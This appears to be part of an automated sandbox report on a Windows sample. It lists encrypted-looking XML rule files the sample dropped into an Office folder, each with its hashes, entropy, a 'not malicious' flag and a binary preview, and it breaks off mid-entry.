Preview:	<?xml~.S4.-....e1...+i.\|.X. ...8..TB.....U.............pw7.O.. h^..Kq.Cq.....&E..c-.......C....+t..+....m..E....j..z.4.'$[..~../d4..,..L.e.".....AJU...k....._._.9^...B.?.\.o)....`.!.....ld..6....t.......P.CA..7Q... ..u-.O5.T. N^...<........y.....B.=V^...L.G.3..l..c.9.y.}.Drg...q..6....W.k'1...CS..\|.!..d..BP.k..t.w.\&...?....s..m......./..N{_..,a.w..]............C...(%...0.g.9s8L..T...U.F...}T......Z...;.k...=9lF.c..rW..Jy.iWW..Gb.....k...yR.8.r].......Tq&../..J.r.D=xS........y.o....x.._........-#..*.e.d.`b...po..>Z..A.^Q........E...Hg.3t.s.b.[>.1...q.`......]..L(......'..,.o........X.}...]+....^9Vm..(a""+.M^Nt:JRQ.1..t........\@6Q..wp.=0..U.P..J.67/.nl..d@cW.....\X.C..'f..........3.3.6.8.....z87Wch.....E..\|z.........'@..r.L.:.. ..}...oe...GalB.]...?..\/n........[i...:.m.f......I.~P?....T...v;....7..K.#...i......7...w. ...c...m. 3..4.CwB.r[H......\....~N.6....o..R.YkOd.c.v.q..2.f..6....M.eMC..m.m.....3j.n.?T..&.`s...u.w<"?...M..+.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11208v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	816
Entropy (8bit):	7.769857389795615
Encrypted:	false
SSDEEP:	12:q4mLo9L6vDFxumShk2f3jKSyO4Y9ZyzpDUa8bKWWWx45WQqqf/f2ped6mm/BAcnd:q4eYhRGSyGyzpD7EKWWdfUU6mKL1bD
MD5:	3C74BEFBB419362E8D53EF8307AF5853
SHA1:	38747C4097CC42C3207B57DC9ABA1DFA212FB683
SHA-256:	765D1F3E65E46A0E4C54D932BA53EF0647EC75BB4D4DF7A37B7C6ED18477EA5D
SHA-512:	D78FD921C3CD70F19717B2677A9FABA3C8C5A1E2F1CE6F04318343225AA8A7069713EFC2431A614318E8EB2345A77BB503EDC0753573CAD89CED79C102CB08A7
Malicious:	false
Preview:	<?xml.o......P5.hsR.W.T1./..f.~...8..?.n:+4.H.6O.p...J{....r].-\|$.....u.._.vS....c..g..;........I..b...I$u.&.....B..."`...Y.>.].......P.yM..tG=P....fm...nd^.(y..6...Q..4.....qx.h...e..>v.Y...s..M..AY..s....,....&.H:m.......w..+...k.I. ....<.>.)..#+IB.@1$.hem{..!(.)...;y.V.W.2".{.=....u_Ce.N..P.C..+.\|e..\|.e.i.#1L...A..=..,.a-<u.>4.s........\.fq.W../8....b80y..A`!...A.....F$.(;..X.t.8H.UQ!.G..iW\....{..N;.HP.....-v.J..q.;.^.a*...deb..L....\..:....p.f..7w.>`'...K.....h....s.#.wV..4..oi....u...O..I...Z..~....7'YAO.R.[9+....S:V..+...i.ir.....EX.v9.=+SQ0..\....1...f.Dx 6.w`.7......%8l<...A.....1.E.........DJ.q......(.....E..w.....$...........x...@ .........\.......eo.Z...Pa.......03SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11209v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	2272
Entropy (8bit):	7.918491422467746
Encrypted:	false
SSDEEP:	48:rZywdSrEv2/T4x9gx34h7LpIYCYCLT7cBAhkSJl92nHPdbhsV9D/4KoD:9ywdSYu/TmHLeY2TWAhkSJen1hszzV0
MD5:	BD77DA6596407577E42801B67F2D0A80
SHA1:	0A817C04F69A03EB708761E1FF77FB88CAC0F04D
SHA-256:	34CC95A3E634EDEFCE220A315713B270127901114AA192877F9CFCD922EE7189
SHA-512:	B6465F6E5EF501E7819F4B9E12F6008B3CEE0528E2FDDAE78366EA0685C9E1E655517A982A6AF03B9F7C48D7D78C96AE6C567BC4B71899022AA2F472A1A349C2
Malicious:	false
Preview:	<?xml...]...;^...X..@,y.......S.ZI.>?. .#..>.../...S..+...........hQ.:;...X...k...{I..S9........1h.p.S.q.I.'Y...?...DHY...P....T.hi.tV$!.z..I..6g\t...i.4.I..v9Q.d..[F....8.`\7r.IO.....a.\.9&lZp.u.RQ.z.m5...Vb..z(...c~f.z....wi..n2$..K-.j!.$..F. .....H...q.)...........`Vh.y..p.:......#v...HC.i.c}......."2....~s3.w..."..L.)...8.w...l.o..]'.m..hG.<.h`q?._.#......S2..).X...I]..0.#...M.l.C.....Y.....i..j{x-..Xr....j"M...QC...,.K.......6/1..m....%...t.!.:...Z5K.......ui...Ci..$+..3..t....xu3...vNI.R^...2...U..8+..xRGp.%..k.=.....b...#I.\|....ly.>...[\|'.0..\|.c.g..N.M^f..-..T..S.V[k3..\|W..l3.Ya..........%d....F8............`..l..\..v.....U.r+-FO..s..]3..Qz.A..>.kY..:..h...-...4,D..E........sUp1.......[^......fWs.<..B.d...K%D.>.u.L....J.9+}W....X.q..p@..Es..........)...Vs....c.A..O.K...57.w...P0q...8s...s.p....4.....HzS....\|....f.3!...N....s.t.......Ff\|kG[N.E. \|e....E8..`A.4Z.S.4...e...(.......r.!7..T.$....5.5.r,..........k..}...O%.Q"....d..Nw.ufW

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11210v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1311
Entropy (8bit):	7.823418158445308
Encrypted:	false
SSDEEP:	24:C5+P+inWQrAIToAqDBZ4q5yCfO1LraYFnZYrHTZZauNOm4WsrSIgWp/gKOiLqYRc:LVnWQrAOhq4Y/O1LraNrzZZaXm4WhDWa
MD5:	00A3FDDF767D8C131DE809978372E7D0
SHA1:	8EAF1BA18C7C489E3C27E75BF606E2A87B6A4640
SHA-256:	634F86455B5FE46804056E0B34D38448B9568566FD259E34F2B7BB87D19D6267
SHA-512:	F8208ECD67C7BE838F137D80D2228D02687597DB7146E2A411DA52EEB6CC6D4818B19E694AC8AA8CC6B172EBB42E2499B9ECFCD87D2E4529D5F2AFF3A9551C30
Malicious:	false
Preview:	<?xml.....o.........iFy.=$]..P..J!.=..d%\XN..P.8.]....&...T.....X.-.....S....E.p..J...Np{.....V-...lh..~8.\.:\......5W..qf{....&^p[.<..Y\|......V..C..:.c....w.R..w.}.$..;..5...A.<E.>...{uj.}Aw4'I.i.9.>F....V........g.-e..)...q~.&i.W[.h.....de.{#..A.H.e.......x......^...{....]...c..bl.D......X..}.r..4.tkSC.......U.x..{.lS.#..3.6.]V..{NJs.......hb.[=E.....ib,.w....-.k..x.H.e.n[..:...H}.&...p+1...t....^....2...Qn;.....G.).....~.l.c.5=$.f.S..3G.,kiOY-D.:...AMD0z..eV..>.}O.......n..`..b....)...P..@.....h.c.bzK....$"4..$Dk7=.S=.2...r\3.....@v.v.f..ak...M.q^.3.=...>.qJ/.5....q......Xm.i...:..[.[.l.z6.B..3.4.}...........x.x...t.L\|.>...x...w..0...2...{.R.....VF.R.yJg...WV...@...M.]........e.......kX...r.2:.K.T.(...(.e.N$..R.`.0A.p.. ..{.R6.6.\|.6US.<a.O,a.4bI...4(.t.n..fb...%.......W...3....Z.....m.r....7.&R/...6...i7Qi..\.J.v2...3./...;...S..IG.s..04...u.LR.. .;.Gk........6..........R.vA...D...8..N....4Z.^.C..).../.&.uI.\|.k.RX......#.l?.j..r.............Ciy

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11264v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	3172
Entropy (8bit):	7.918902558185588
Encrypted:	false
SSDEEP:	48:nOw2XmHYUQK+eX09oAfn+7aq0DD9Rwr9DfNTb+MrCr9AezZfiJHtcTD:nOpA5XF6n+7aI9Dt2r9J6JHt6
MD5:	0A4C59BB172D8D860D17152409B7DBFA
SHA1:	076A0619A5ECCC47F55135C820F401047AFB25E6
SHA-256:	553160FD5F46EBF80E5FC159589C70FBCD457E1B34E80EC1C09C5D12997C7855
SHA-512:	850B109CB9DD075D10EEEDE168C89212A9854E21EDFFCD99A5224943AFA7B90928F85EBA304C4B9AB3271851FC3F0D0CE7DF9E595C6DCCE01D4FAE09194E1C13
Malicious:	false
Preview:	<?xml.W..;.....VPO....=.k..w.Gu[....]....e\|L....(..........w....>.z..f.....kt..K.O.+...]..[I.%.J:wfA.W:.+.!.;..m.?.,L..9.+=......e..3VoP...=L%..;.Ql5..._M..I......L...E.[.#.....\|G..;..O..j4U..{.\.nE...T...[).....N".......5<..............^.G}.F....e.....=M.......R...A.....".H.!=.7....]..5.}..V...i8../~Q!...J&@X.A.@....7Y=..A.........i.P.4L.h...+...cuS..E....M..%....Dh.b...p...>(h......B.$..O\cE..1.bB...u!.......,N..2e..X.&pZ[J...N}....j.).$....B.F...:.....c+7.3^.p....\.3X_]A..N.mf.... .~..8.4.. ..............%Q!.=.._.CX.....[...g..f'V.OG...D4T..w..{A6.z....6..]7!...c.)O....?8......,d..xV......i.J..X....?u.W..s..7.......y..../...Sm...<.....W78..Y..b../r.{....o...(S..9j. .o3S.......7F.....#5..c.i'-..S.....TlfN...6yb$E.V......;.O..?LW.E+.8e.v...l.%.ER-.*.C.m.PK`.x.AG...i..\|.3..[.hXM.....)....,.i.z.-.x.]j.f.+.V....K.-Xca.u!p..E~m W.\......`....d....P.3....v"...f.g......kN..B.(-.K..> .............d.....r.<...C.N..Z@@....w.C59...r.4..3E

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11265v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	2096
Entropy (8bit):	7.913686115030767
Encrypted:	false
SSDEEP:	48:M5o0UbXqiWK9LDv7ojYCLKmMPtIpKGDk29WSOqPdu2Vn5FRGD:McuK9nAYCCtIpKGD5WAYY5FI
MD5:	9A4E79D66387E6E8B20FF12794D84285
SHA1:	27ACBA16C108C27BE79F132C6415B13AE9AC3C13
SHA-256:	A3E2D1D11975F83BD4019C57B933043385AC4542831BF3FED72E2D46D0339063
SHA-512:	B26E18F14132206749A414B453E78F1D7F54124F87E994E55070D1D47EF96EC2DE9FD2C4CFE07DEB60C5DA4A5005511D69C323ED77D239317019BB38FE99C06A
Malicious:	false
Preview:	<?xml.9........^TW..c......kk....B_A...4.........F.P..f(.....7.C"{....q....=....iw.5....nT..G...%f?..%....m...e}c.).....M....9P.L...._...kP.%R...!..DZ.j....H..Vn.i.j._.&r........Pj....6~.....t;?.. .Z.Y....".e......Jk5....o].m.j..E.WZ\F....k.../.R...h....c..Q.....#q.4.'N_8e...Mh........]]7....~7.eU+.F.V..$..`...7c...Y..i.)z...PF.G.$.u.M....3h...l..6{.;....W..c3....vi,I...F.3.?....R:.../.......#..'.F .$F=t..mcT.,...W..,db...R..>...H...........nQ.4......b(...>y.&.Na=^..x.[@%r-....._].Z............m.\|.K..rI. }..$S./z......f.up.2\i....+.W.....S.s.....>}.....B4.QUr.q...T/.R.OV8l~!6^..\|0..F.....O..#}.5.)..>..:.#..)=t.i:...)?...........2......}.4.#^:...J!..X.s...=qJ..9.F....b.2.....R.<..F5.E.1.H.3FmB..}..Q9..?../..W..q/L.i..z^.`?..?A\|.......L....)vF.<.j6..{a.>...6...m....@.'.HG..E..~I@6:^........q...8..7..k..9...W.[.k.....EX...'..=C..`....S.eW1. 1.zl.".......H>....VBq.....^...}..).vLW...;D.e.F.....@.5..x...J.Su[..........\|...$nxK.{.c.O..'u

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11285v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	7525
Entropy (8bit):	7.977979068999404
Encrypted:	false
SSDEEP:	192:XI3Kt6oOPxIUFqMWKGgb6hxuKs2ssLXQHkJ7a+a3TEo5iv:XIaWZXFqMWKGPO72GHkE+MdUv
MD5:	329D7C03CEF09B12259F61BA8B252A13
SHA1:	EDF1A7E716EB1E9DB6C0F65CB5E0554F724207E9
SHA-256:	52650AEF70BCBD2C32879F812C64C017DE0D4766600032247C8D886C42DBDF6D
SHA-512:	80D4240944A63D10F8E800DAC77973FBA4D6A6E81D8D8BDE4FF69F17305B2C264B693A49986192D6AE6491229DD2A730D7615BB094DB72E3BA40508C52D82CC3
Malicious:	false
Preview:	<?xml..j1........U.....[....=....>.$..c...8.~.@.0.....@..:.....q?Y=.....b}....V.6..7.\|Z...Z...S...[F.)._.<7..n..]Q]LV....X[@..[@.......>....sI..NKQ.....l_.f%..OM...s.....jP.L..^....r.m.!j....b.E_n..U.(O,....'...F..N..VBWz.(..........."o...7....Y..,&zh...Z.X....g-"...5.U{Uo..-O..6:E.$X6JW.O......rg...E)0+k.r.06@..@.M..%w......?.o._fK.P..,.;..4.../6-.t8...).7^'/..vG}Y.Q6...3..U.fIk...X..4...E86..{.....\..7.r....[{:..R.....9.$,..>..4..b'....t.b.]."12...S.V.....7Ar0M...'<.tkS........\|......!ELk....Sew.f.3Z..K.jJ.....\|.W.4...}..6Y....RW..a..^.nb.+J.`.....4...H.i..\|d..i...}9<b..`....^...u3...z...U<...f.gof....b..R.RF@....#..d,$.........=x\|.=@`...;. .PIU....c..2.~.4.}2...=.B...{..].Ue.s.......;L.,.....*`@.n...\.....8....Z...p".....9....^+.....o98&.]...<..0U._a.).....g....Jl-;.G9N..M...a.. ..a...X9.. >l..<..c6.v..s..0\t...h.%.......Y..T.c..@wA.!U._......"....e..\...x.G....F!.O...P...O..=.:._.\|.+qn.vW.....d2.......:...n...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11289v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	4197
Entropy (8bit):	7.951086065345118
Encrypted:	false
SSDEEP:	96:qJnLBU7sNhWVT2U1ySUNZx5TdqLxx/Cur6FpXoCyHo6qAMA+8K:CLBu0U1kbx5SxPGFdbHA48K
MD5:	59C54115E545A2569240A618EA5EEC6D
SHA1:	1D495AAD85BF0B438DFDF0579559DB1932940943
SHA-256:	3B5F206A974F425E34A335860C2D976528ADD2A0C4F14D26C2F4A1C6AE806323
SHA-512:	A8FC751C2BD242DB3F0C7DE23D726DC57615C928CEC0DF3491FAFBFE1E295149D368BA4C73499B0E19A17662AB2C07D8408A7B95FF4A1718D94D74FB3A46995F
Malicious:	false
Preview:	<?xml.7...HS.....?.YtH..O.l...oxF.e..&}.s...D..K....5.1..X...DyF.........T.....Y..$.R..7..(.2....o..Z.....1...O:.....-:-...7`.0....Cb..v).plS..(....>,.H.#.J_....:...g.....g.xd7...\"..@:...!..6.Q.8W......Y=k.....BU=....z..F..V.?+3.n.n.E...j....Uz.A..)....:..S.O{H..B.g..>.....<!..:!e.....b...D..H.URK._..\|.(z.P..x.l.9Z.....l..[h^./.mE.....H..~\.sj...b...-...u].;..V...mGdo....N?....]...7..%jrC..(..R9@...&B...h..\...........O....N.=/....&Dl..hl.......p$.O...w1.x..E.L8/x.a.$......%s......AShL.u..ebQ.NQ(....A-,.]..d!...p;.`7`.....6<....U.M...X..Y&T @.....f$...IY.vJ.'\.].. ,3S.....6@...3.__ZU3"T#=.^..9.Y...D.)8.).o.,....._..C.9....=.$#.2....(4.y.E...\|s..b....a...g.l....T3.k..6jA.-.I...D..HkWJu1DCB..X......HE-:..i...0.. ..>.K..)..B.X..D....9V........[J....6...Q.n../...9..jk...^.\.QI.fD....0..7.FQ!.....<.D>!..`>...G..f..p...K.....b.WKHu.{.`.#.].1...@..0....Um..,.P '.8.b}%......'\|%S.O.2f+..Y..D...>,+.9...?.c.9a......g.b5{}g.k...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11300v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	4608
Entropy (8bit):	7.961385832580368
Encrypted:	false
SSDEEP:	96:fXfxbNmYtbR1Qrd06fCcBd5j0zkridJ7Nb+oAyJN:fXpbNvzQrd06fCYYzDdH+NyJN
MD5:	D13A3A1FF9B5FBE2E7670D46D530B374
SHA1:	51F1375D5199414099288A624E141690F4969BC7
SHA-256:	9588D2F7BB8B554242575BE99D3F34C89A8A503A22C58BF32E14D310E1ED313C
SHA-512:	8D3A745F2C4D30F1FE4AE8BA3BA5A72B03397926C22D07386EF5AAEB7C4F798540E91244FF95A9E1C6C9D4D3C894E594FFC1629D017511D387EF5EF1957E0D18
Malicious:	false
Preview:	<?xml..2..R!r...s..}.}....g.+jz..F.z...s..Rf..~.}.............EK..v.:M...\|.....x.....E.,==`&H...q.'DG..[.....j.P.O@...~...nt\\|...,.."....3.......h...^.~.@.._2..q$Ly......n.e./X..UhiZ...wz.......D3.T..IK........".`......u:...us...\D.ZMKC$..".O.b..OD..];.x..E.>..`.m.=....-wm\|..^\|.Q.T.c.#..2,g......gr.Cr..,.]...)I.4...J....!....._.Y..L.ve..2..R..t.....:Mm.FE.:N...._..#..w.F...F.r..._....E..M.U9........$A..,.m..u.l.._x..L....x......91.*.c'B..[...S.1...m..P.Rt.....R.....u..b.u02...\..N^.:.TD..[~.......L.ng;WRiHH#....q)....../ ...,M..+.)1;.f.?bh...=...>..y.../.=+..0........r..0...........Z.FY....N..7.r....~.......0.u1NV.jj\|m....>.p0._c..Ke..T.Y,O...^.....K6knR...\|rL. ..+C}.W.N.(6..d..."....c.D....[.S...l.Y-u..$..Q.g.b......S--........L1i~..B........W'{.>.`.\|r..B\.G$,O.y+.....h..:L\..&.M..>...`.oN...(..,......7zCs{.Ma...0f.......!...%..;..B."...j..!F~...........t...%..z.n......TlF....v+..G..@.._'....XoO.P$}n..6..T....ny..f~.^.."...Z.\~...-\.B..-

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11302v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	2884
Entropy (8bit):	7.933627909503641
Encrypted:	false
SSDEEP:	48:OScsYJgPRzRF6HosOjEPlU7dglmwc2YbXYugh8ug1uyAVFtjP7yLw/lTkwT71yD:OvYPJRwoDjEP67dglmZb314jRyLw/Gwg
MD5:	45B1BBF68087792C9D6ADC313717759F
SHA1:	573407154AD124BE7F775AFD69076B477CC381C2
SHA-256:	892D7786779AA61F3AD3A224EB77588013691B7EBFAD19E32DA0045529C51927
SHA-512:	4C25A4BE80245D6BBA51D52CF484E7DCD344139ED84E3388E3722EA41D19FE0250DDED1C6C1A22EE93B35BE19E1A8EDADC57BB9B9A4E71457782B7443CD3E383
Malicious:	false
Preview:	<?xml..Be.g.C.}h...m...O.[.....r..49..P.....=.@g...w.]8.!.Y.]..\.....D...'...{.O.+WN FHP6.<.._..Q...U...1.f.X.LP.d.._....`....MJ..W (.w.j.}2M2...e.f..'...3-..~C.F.sA./gv.d.,..\h]..........=.N;E.F...R...[.g....e......i......qR.j....6N.#......! ...#.c:l..O.A...!O.)...0.mnR...H.f.........A[t.o...U....21.^..b.K..M./.}....K.d..g`...4.(Z....P...p..2M......R.L....A.;..Q.A..U..'m.......u..b..A...m.&....T"..3.(2...k....)w.$.`p.....?\.0.J.....A..:^........A.dD...d.]s`hv..Ly..........ow.i._y.DIM..]....C.F.1...Q...S.7.f......<...SK#.^........`....[.....;^.`~6....?o,t.....{Z.W....{QH......(...I.X.DBc.3....t.Ie....U.Kv..=.+Kj\OL..;e.D....A..8...=O.^W.r.1..........n..e..R..~..K..M.aD_.&l.)D[.2...u.!.V..M.H.....\|T..z.F.....s..-.C/.jc.,2..7u...p.lj...U.Qw.....a.:S...U.....5..\|.P.._..-...j.Q...+.tO./....7Q..6.Y....^Ve.=.LG....!..8...........WR.5.....%.@,...K..%.-..._.7)k..j['.P...7&.YA.M.......:.>2M.K.5...C.:.V.N..I.9.....Hn.-..4..A2E........F..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11362v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	5842
Entropy (8bit):	7.960870690610239
Encrypted:	false
SSDEEP:	96:ad9rP5N+yxrQ31TJKAv3bp17oYv+RTjKR3kddo4TBbmoPtMTuQ6LK7Y:ad9D5N+yxrQ31vv117oYv+RTi34Txhag
MD5:	FC540E5315003608551CEB8A85659184
SHA1:	C43BC922D9C98F6F7DB6404CC1A3FE57E7BFC7A9
SHA-256:	E13DB25866F4BEA44DE9B5FC549C36192DB882A1CB53F59A01EE61639C69CA8B
SHA-512:	59FDB26D89D46370B1D77BC1035A6352E11F41FC4AE041631DDA973261AB71A6B733F39F941B95DD599EEE72E7F6BC39C13FD972A158C0F725F963CA8D211A14
Malicious:	false
Preview:	<?xmlG.6[...J'....\|[...:3.T./..MA.......mFu.......a...`..U.d@.;9.gv..;Yy.w..U):..../.d.js.)..'3..J...^...Me...7...@....A~.'{.C...G..oN..._......'!s..j.1.x..>.pu[..Y.h......W;U....U..a..G..].....qO[.8.....j...Z..m.=,.@....W_gaF.1Lr...j....zc....f....@yRv..q,n..Sn...~.).Aq...........{..9.,.Q.v$}...f.....v:.^...qA.)HU.%.....3.qy.}[>p..Z..^AM.\..9..mh.4a<.o..^.\..9..4H.....T..S~..R...t...'..L...c..../.l..Y........c...J.q.B....T....`......u7T..-....\|.s.WI.%g.L#..3!.M.$._by.......].....!....b13.e..Dn.4..............IT-.....P.D...Ku.@.]F..:.(LkAR...o.+...Z.N#./.d.lF=...?....M.FN.N(.'..7{}@..[.G&./...g.0v.b..>+..d)...8.......L.p..`..&...nIx..k.."..U.:\|ax.]=.}_...p.O....._..e7./....M....=o)..~h ....iV....,2.(#....-..@+E....d..D..".9.g/. ....B..d........;..;...TS.....X..\........ .y...]........n..h.#..i..z...y-.............3..B.p.&G.....:B\|..;}c$oB.j..Dr.ZE..e..\|@>..#F.J.[5.r...k,,}.A..%).o..\|.P`#^Q.^/pt..g>W.q...!.3X.d..7b.B.A.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11369v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	2023
Entropy (8bit):	7.904673246254993
Encrypted:	false
SSDEEP:	48:aGy4TK9v/flRrdu43zzeGa7it8mDB1FEA08lfD:aGEv/flRrdBzzeBitv9DEATlL
MD5:	86D36D5B8E714D77D608923A6ED1C5B7
SHA1:	3C4907AEEEC874B2FC1B33717A2EB527C30A012A
SHA-256:	D051456BA46F58C8EA4DB5D131714D6094CBB102ED5D221DA079DDD03CFFDDA2
SHA-512:	8D69132D024379594C8F552C890B9EE6C05C3A9DC091EAE557355A44F29AF963453BE808D6134F07CDA625FEA009DF55D9F9AB0A9A78A28E3F85CF7A429CEE5D
Malicious:	false
Preview:	<?xml...d.0....T68....cr.m.{.h>V.....E...I.M..F...ssP....A.~..V..hg.F...bA..C..#....6dJ...%.V..=t@.<.K2m..0......p..-}.[.8X.s....>./..\U.K....=.T~.q:..).........:.v.Bd..O.......eY. )!......>...;.>\......`..S...k..e.L.....ozT.u..\|d...Z`X9e..f..Elu...m...."B.Jo./.=.R.....`......-...l..i.z...m;e].wK8r.[l.....3..l(.9\%....w@.GI">...hDq`..-...\|...5p.7.R...........A....UfcS..D%...-...r..E.'3^.cs`k.j.D....o.....t..r-..z=...G.F.'&.X.z....G....X..\|.../.....L:\.!.....mgAl..u...d.A..0.....I.\|qr.A.m..Q.@.4,8...L.EO...:.8....S.R.B..j.^n......(BE.6.m\|.D-.Lu.....c.Lc.[...#.[Ga...s...].e..B...=........A.(......vt...2.JoZ.>_..w;./$1....}A.`g.:.a..v.q....t.@...L.c0%.A.......F2\|.7r..H...EGH. ...&.6....Pt{...<d`.}....\!g@6.....7. vF..d.`......UQ.c....3.x,X.9q.....J..,B...$.#.}.Y.[.D...n.nFT.y.3H....<.j..LW*Jm....x.......6R...G...T.zS.sZ....'.L.i.......9Y,..V.\fA.).^.D.=N..8.Q.U...])x..H..O\....\|cP..:...3.n...EJ}\|...c.w.\....{.j...8G'...Sns.S. .@...P<.^..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11370v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1001
Entropy (8bit):	7.773388677034978
Encrypted:	false
SSDEEP:	24:VYB2XjA55yvXl6QXx3Fq0U8FiKT+czC9GzdFRDd/jV/cLpvHbD:U75yXXXx3EANT+cO9GzdxV0LJD
MD5:	C28E5D47DE6E95EFA362D904E878CB61
SHA1:	1F5D16BCEB86CE516C3C7192305D09A26FC44438
SHA-256:	164FDBA16834C8D08586675ACFD8DFE89D95A0AF9949E1116F41B5E320B198D3
SHA-512:	9FBDB2783CF14623B4B8611ADCD3852E9745B003D03C63C9FD50B2363C016074D035DED859D18CCA93CDCEF1C42CBCF40E3795129050124DA151E7C714F8544A
Malicious:	false
Preview:	<?xml.i]C....j+..q..Q.\...J.d...<....=......`u (..~.g..C.rs.jW%< ..i...e.\D9..M......m...N....:\].z@..dl.}>5.^......F.X..f+}..Dx{.e.F%..C.G.....e.1T........P.. F.'...vSs..c.hM.}Y.....&)t3..=..7.0.h..h.........@P...<. .../........L.M....(q...p..<....C.EH.7..>...........&U\|..#.:./..h,xr..t.7....4.t^nM..g..5G.B.L..m.9.1...-..pCz.c.Q..+. ..mU.....mN..e.h.BAj..,.\|._...j...v..y<.t.a.].{..~c......4..A...E...~5}.&.p..%t.g...<..V.2e:Rnf...mb..$<.^t.... ?...[.ka{..&)n...L\...Y....;V....s.c..j14~w...qj..F...V.....fp..]'..yw.M....1...T_f.......NN..B..}I.(8.S....yC..}}.m.....0......+.F..<;.1.(.Z&Y..O....7.esH.\.E#c1..&.x..p..G\|..mm...RGR..l...X.=`..pc.C]..(.%^..$.....K.^..sK.F.c.,.vq....c.?..$.V .(t..sP.s.fw..jrv6.\|}..5u.....7...Wj.y.O.x....[.:...4..f.lq$....5;..B.>h...#&,.6.J.W.......Ay.r.EK%...@;.i..G@,.p.@..!.Ai.\|x.S...`....@..\|.B...c.......q..3.%..{..x..>..J...P...dJSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11381v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	2743
Entropy (8bit):	7.924417037226805
Encrypted:	false
SSDEEP:	48:lSKs/lRAVsuoHRPulrVQesSt2CBKfw/FRtW5oDDkRUthURD:lSKs9RMsjxPuvQ1St2gL7DtrUZ
MD5:	919A65131A29F21FCB980B4A3112F117
SHA1:	7C727F30E1B1B3BACEA674C62EEF11E430F76B7C
SHA-256:	111891AC96BEA52549C9B1D556A7C1B7B06797CA00538210756797D307FF5FE3
SHA-512:	BB7FBFC0EEE74231C4BC6D761E0FF2A0453990E41C61267A0D6562FD9169A4BAE3D789F6AED7956706FFE8008257E686DC3CBB4155DB5D6F83538A37AC1EBC7B
Malicious:	false
Preview:	<?xml.(...1X3o..N\#..K]p...nm...{..6..@...).'.!......../.B.;.QSA.....{...n%^z.A!.fO..x.<<.1.%Z.K...=.Q......t-!Ntv.u..t.w...#....z...e......>M...al.....`.37.i:f....q...f....\.l..#)Oe.........IOm7.......BL.LO..[F.P....T/8e._.yg)..5.U. ..a.tb....=.#..o..N....`.d+..{w.2.Zx.....R(.......@.F..6.<.....5P@.@+.M...r.pi...kt.R..[.gV..%...k...O4......;..../.U$...I....L-....E.....0...--X.]....(.E.'....z@.X.....'. Z.5.pSr.B.R'=8.7.....=.U.\e.....RUUB.e...p.....\..P<....QU.=.-..)-.-.gib..t...-6..Q^.t[h.. +..#s..1..X...2.tZ\.a.l<H7..R.7..y.M.p..$.8..p)".;....+.N..my....]...H.a.M.,....iKc4.....ZMo...a....w.&g.=..[.s.Q.L...G...Sk.\|...._.i..I.uPw0NX..o.......>..&.q......+.:.K..&.68Z..].,.....?b....8..V:.\.....+...y........x...\|Q>..*./[&.>.......M..rz:.R...cx......... ...-@ ....e".!4.-k..m.G!.~...&.....'L.4yc...LK....RNv.U..C.qi.TJ>.2..Qv^ ..=.o...C.j..WN4..]...........uYv...;..!..e....,...e...."..%.X.... .u?...-..t...Z0.O.-.0G.........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11446v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	11063
Entropy (8bit):	7.981860503488666
Encrypted:	false
SSDEEP:	192:zROmg3NYMo1hKghQdPH9dQ6ZNciF5A2S9p71Xv2MXklOTsgEERmI348hlEzOqrl6:MNY3Q8C9dQlirSLpv0SZRmp9z9rlIUS
MD5:	DBFD14833E3C0A18BED91FB1705808F1
SHA1:	8122E7408C452489352DAA08276AAED8751390DE
SHA-256:	3D74CD5A99916E2E9D9D0D2584790D0BB90E5434A83B0AD533029E67597B52BA
